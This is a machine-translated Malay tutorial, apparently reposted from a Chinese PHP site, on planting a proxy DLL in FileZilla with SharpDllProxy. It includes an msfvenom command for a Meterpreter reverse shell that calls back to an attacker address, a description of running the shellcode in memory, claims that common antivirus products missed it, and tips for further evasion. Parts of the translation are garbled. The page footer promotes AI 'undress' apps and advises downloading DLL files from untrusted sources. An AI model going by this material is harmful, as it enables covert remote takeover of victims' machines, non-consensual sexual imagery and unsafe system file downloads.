


Bagaimana untuk melaksanakan pemajuan proksi DLL dan analisis weiquan
Rampasan DLL
Selepas versi Windows 7, sistem menggunakan KnowDLL untuk mengurus DLL, yang terletak di bawah pendaftaran HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs di mana fail DLL di bawah ini akan diharamkan daripada direktori itu sendiri Dipanggil, tetapi hanya boleh dipanggil dari direktori sistem (System32). Sebab untuk rampasan DLL ialah tidak semua DLL ditulis kepada pendaftaran.
Gunakan dll yang dijana oleh msfvenom untuk membunuh serta-merta.
SharpDllProxy
Nama itu kelihatan seperti ia mungkin serupa dengan proksi stokin. Sumber alat daripada: https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/. Untuk pelaksanaan khusus, anda juga boleh merujuk blog bos ini.
Kata Pengantar
Pertama fahami prinsip operasi perpustakaan pautan dinamik. Jika aplikasi A mahu menggunakan fungsi GetFunkyData() dalam pustaka pautan dinamik DataFunctions.dll, ia perlu memuatkan pustaka pautan dinamik DataFunctions.dll. Alat ini berdasarkan pertimbangan ini. Ia mencipta pustaka pautan dinamik dengan nama yang sama dengan DataFunction.dll Ia mempunyai dua fungsi: ① Buat kekunci pintasan untuk memajukan semua fungsi ke perpustakaan pautan dinamik DataFunctions.dll , ini adalah asal proksi dalam nama ② Tulis shellcode dalam DataFunctions.dll palsu ini. Dilampirkan gambar asal pengarang:
Proses eksperimen
Program sasaran
Saya mengambil sedikit masa untuk melakukan eksperimen ini, seperti perisian FileZilla, bagaimana saya cari perisian yang perlu dimuatkan Bagaimana dengan dll? Seperti yang penulis katakan, salin perisian dan anda akan tahu apa yang hilang. Seperti berikut:
Ini bermakna fail DLL perlu dimuatkan untuk menjalankan aplikasi, jadi buat libnettle-8.dll palsu untuk DLL ini.
Jana shellcode
<br>
<br>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw & Muat turun pertama SharpDllProxy: https://github.com/Flangvik/SharpDllProxy, dan kemudian gunakan visual studio 2019 untuk menyusunnya Cuba untuk tidak menggunakan versi lain, kerana saya menggunakan pelbagai visual studio 2017 It mengambil masa yang lama untuk melaporkan ralat tetapi ia tidak keluar mungkin ada sesuatu yang tidak kena dengan persekitaran. Secara langsung gunakan SharpDllProxy di bawah vs untuk membuka fail --> Jana penyelesaian Hantar tiga fail di atas (tmpD475.dll, libnettle-8.dll, shell.bin) ke sistem sasaran. Gunakan msf untuk mendengar, kemudian jalankan program, dan sesi akan dikembalikan. Menggunakan perisian anti-virus yang paling biasa digunakan: 360, Tinder dan Safe Manager tidak dikesan. Gunakan SharpDllProxy.dll untuk mencipta fail libnettle-8.dll palsu. Letakkan shell.bin dan Dll yang perlu dipalsukan ke dalam fail dalam gambar di atas. Jalankan arahan berikut: .SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
Fail yang dijana mengandungi fail C dan dll ini ialah libnettle asal -8.dll fail.
Mari analisa program bahasa C ini Dari baris 9 hingga baris 494, semuanya adalah fungsi yang memajukan DLL Semua fungsi yang perlu dijalankan dimajukan ke DLL asal untuk diproses.
Talian 497 ialah tempat kami memasukkan shellcode. Ini adalah satu-satunya kod kunci Malah, anda juga boleh terus menulis shellcode.bin ke fail, yang mengurangkan bilangan fail yang mencurigakan. Di sini, kami membaca dan melaksanakan kod shell dalam mod binari melalui operasi memori VirtualAlloc. Pada ketika ini, anda boleh beroperasi sendiri seperti harimau, dan menggunakan pelbagai postur anti-pembunuhan, seperti menukar kaedah pemuatan, seperti menyulitkan kod shell dahulu dan kemudian menyahsulitnya untuk dijalankan.
Gunakan VS untuk menyusun fail C di atas. Pilih Baharu di bawah menu Fail, kemudian pilih Projek Perpustakaan Pautan Dinamik dan namakan projek libnettle-8. Salin kod fail C di atas ke dalam VS untuk menyusun
Atas ialah kandungan terperinci Bagaimana untuk melaksanakan pemajuan proksi DLL dan analisis weiquan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Jika Nvgpucomp64.dll menyebabkan permainan anda kerap ranap, penyelesaian yang disediakan di sini boleh membantu anda. Masalah ini biasanya disebabkan oleh pemacu kad grafik yang lapuk atau rosak, fail permainan yang rosak, dsb. Membetulkan isu ini boleh membantu anda menangani ranap permainan. Fail Nvgpucomp64.dll dikaitkan dengan kad grafik NVIDIA. Apabila fail ini ranap, permainan anda juga akan ranap. Ini biasanya berlaku dalam permainan seperti LordsoftheFallen, LiesofP, RocketLeague dan ApexLegends. Nvgpucomp64.dll ranap permainan pada Windows PC jika N

Ramai pengguna akan digesa bahawa coremessaging.dll hilang apabila menggunakan komputer mereka untuk bermain permainan Saya percaya bahawa ramai pengguna akan segera berfikir bahawa terdapat masalah dengan perisian atau permainan ini komputer tiada fail dll , pengguna boleh memuat turun fail coremessaging.dll. Biarkan tapak ini dengan teliti memperkenalkan kepada pengguna analisis masalah bahawa fail CoreMessaging.dll tiada dalam direktori sistem Windows dan tidak dapat ditemui. Analisis masalah bahawa fail CoreMessaging.dll dalam direktori sistem Windows tiada dan tidak ditemui 1. Muat turun fail CoreMessaging.dll 2.

Bagaimana untuk menyelesaikan masalah kehilangan libcurl.dll dalam sistem win7? Secara amnya, fail dll akan menyebabkan beberapa program tidak dapat digunakan secara normal Menghadapi masalah ini, ramai pengguna tidak tahu bagaimana untuk menyelesaikannya Sebagai tindak balas kepada situasi ini, hari ini editor akan berkongsi penyelesaian terperinci dengan majoriti pengguna . Saya harap win7 akan digunakan hari ini dapat membantu sebilangan besar pengguna, jadi mari kita lihat. Penyelesaian untuk kehilangan libcurl.dll dalam sistem win7 1. Muat turun fail libcurl.dll. 2. Selepas memuat turun, masukkan fail ke dalam folder yang sepadan Laluan untuk sistem pengendalian 32-bit dan 64-bit adalah seperti berikut: Untuk sistem pengendalian Win7 32-bit, salin fail terus ke C:\Windows\SYSTEM32.

Ramai pengguna suka menggunakan komputer untuk bermain permainan Baru-baru ini, beberapa pengguna sistem Win7 telah melaporkan bahawa apabila memulakan permainan, mereka menemui tetingkap pop timbul yang menyebabkan fail Skidrow.dll hilang dalam komputer dan tidak boleh dimulakan permainan tidak boleh dimuatkan seperti biasa. Sebagai tindak balas kepada masalah ini, artikel ini membawa penyelesaian terperinci untuk dikongsi dengan semua orang, mari kita lihat. Apakah yang perlu saya lakukan jika ia menggesa bahawa Skidrow.dll hilang dari komputer saya semasa memulakan permainan dalam Win7? 1. Muat turun fail Skidrow.dll. 2. Nyahzip folder dan salin fail Skidrow.dll ke direktori sistem. Sistem 32-bit: C:\WINNT\System Sistem 324-bit: C:\Windows\SysWOW

vcruntime140_1.dll ialah komponen perpustakaan masa jalan Visual C Ramai pengguna telah menghadapi ralat yang vcruntime140_1.dll tidak boleh terus melaksanakan kod apabila menggunakan Microsoft Visual Studio untuk pembangunan. Biarkan tapak ini dengan teliti memperkenalkan kepada pengguna cara menyelesaikan masalah yang vcruntime140_1.dll tidak boleh terus melaksanakan kod. Sebab mengapa vcruntime140_1.dll hilang Menyahpasang pustaka masa jalan VisualC: Salah operasi atau menaik taraf hasil VisualC dalam pustaka masa jalan hilang. Jangkitan virus: Perisian hasad memadam atau merosakkan vc

Penyelesaian: 1. Muat turun semula atau dapatkan fail DLL daripada sumber yang boleh dipercayai 2. Semak kebergantungan fail DLL 3. Pastikan anda menggunakan versi DLL yang betul 5. Semak firewall dan tetapan perisian keselamatan 6. Hubungi pembekal perisian atau sokongan teknikal.

Master Lu ialah alat pengesan perkakasan yang digunakan oleh ramai pengguna Maklumat perkakasan terperinci boleh dilihat melalui perisian, tetapi ia mempunyai banyak fungsi yang boleh membaiki berbilang pemacu. Ramai orang ingin tahu sama ada Master Lu boleh membaiki fail dll. Bagaimana untuk menyelesaikannya? Mengenai masalah ini, editor tutorial perisian ini akan menerangkannya kepada anda. Tutorial tentang pembaikan satu klik Master Lu untuk semua DLL yang hilang: 1. Mula-mula buka Master Lu dan masukkan antara muka utama. 2. Seterusnya, klik perpustakaan permainan di penjuru kanan sebelah atas, dan kemudian klik Pembaikan di sudut kanan atas. 3. Langkah terakhir ialah membaiki fail dll yang hilang.

Apakah jenis fail VCRUNTIME140.dll? Mengapakah komputer kehilangan VCRUNTIME140.dll apabila menjalankan beberapa permainan, dan kemudian permainan gagal dijalankan Fail dll ini ialah fail perpustakaan masa jalan yang penting bagi komputer? Jika ia hilang, banyak program tidak akan dapat dijalankan. Apakah itu VCRUNTIME140.dll? Ia adalah salah satu fail dalam pustaka runtime VC++2015 1. VCRUNTIME140.dll ialah fail penting yang diperlukan untuk pengendalian sistem Microsoft windows. 2. Program yang berbeza dalam komputer memerlukan fail dll yang berbeza untuk menyokong operasinya. 3. Apabila komputer menjalankan program, mesej yang menunjukkan bahawa fail VCRUNTIME140.dll hilang muncul.
